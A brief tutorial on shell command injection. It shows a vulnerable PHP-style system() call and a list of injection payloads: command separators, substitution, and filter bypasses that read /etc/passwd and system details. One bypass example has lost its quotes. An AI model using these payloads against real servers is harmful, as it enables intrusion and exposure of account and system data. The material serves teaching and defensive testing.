Shell commands injection

Shell command injection is possible when a program uses a data, entered by the user, without filtering it, as an argument of a shell command.

Example: You enter your name in a Web Form, your name is sent to the server then used in a shell command. The server-side code looks like:

system ('echo '.$NAME);

Instead of just entering Yolo, you enter:

YOLO; cat /etc/password;

The server will chain the two commands by executing:

system ('echo YOLO; cat /etc/password;'); 

It is then possible to dump the content of the passwd file.

A command injection gives full control over the server. One can retrieve informations about the server (uname -a), account names (cat /etc/passwd), web server config files, launch a reverse shell...

Commands separators are : ; && | ||

echo YOLO; uname -a; cat /etc/passwd
echo YOLO && cat /etc/passwd
echo YOLO | cat /etc/passwd
echo YOLO || cat /etc/passwd    Only if the first cmd fail

To force command execution in a string let use ` $ or {

echo `cat /etc/passwd`
echo $(cat /etc/passwd)
echo {cat,/etc/passwd}

Developpers sometimes add filters to avoid command injection. For exemple, they could filter Spaces. Hopefully, even without spaces it's still possible to launch shell commands:

cat</etc/passwd
{cat,/etc/passwd}
X=$'cat\x20/etc/passwd'&&$X

A keyword based filter is easy to bypass using simple quote, double quote, backslash and slash

c'a't /etc/passwd
cat /etc/passwd
c\at /etc/passwd
who``ami

In case the file '/etc/passwd' is filtered, just add /

c\at /etc////////passwd